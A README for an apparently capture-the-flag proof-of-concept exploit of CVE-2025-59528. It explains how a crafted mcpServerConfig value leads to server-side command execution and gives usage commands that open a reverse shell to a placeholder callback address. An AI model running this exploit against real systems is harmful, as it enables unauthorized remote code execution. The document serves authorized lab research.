
PoC for CVE-2025-59528 used to achieve remote code execution on the Silentium machine at HTB
Educational use only. This project is intended for controlled security research, classroom demonstrations, and authorized testing in an isolated lab. Do not use it against systems, networks, applications, or accounts that you do not own or have explicit permission to test.
This proof of concept demonstrates how an improperly handled mcpServerConfig value may allow server-side JavaScript evaluation and command execution through the customMCP node-load functionality.
The script supports two authentication methods:
Authorization header.After authentication, the script submits a crafted configuration to /api/v1/node-load-method/customMCP. The payload uses Node.js child-process functionality to execute a shell command and connect back to a listener controlled by the researcher. This behavior is included only to demonstrate the potential impact in an authorized lab environment.
requests package.Install the dependency with:
python3 -m pip install requests
Save the script as CVE-2025-59528.py.
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
Example with documentation-only values:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
Example with documentation-only values:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
The script expects these application routes to be available:
/api/v1/auth/login/api/v1/node-load-method/customMCPThe current script constructs http:// URLs. Update the implementation for HTTPS when testing a lab deployment that requires TLS.
main() validates the command-line argument count and selects the authentication mode.login() sends the supplied credentials to the login endpoint.tokens() extracts the session values from the Set-Cookie response header.shell() builds the authenticated request and submits the crafted mcpServerConfig value.bearer() performs the same request using a bearer token instead of session cookies.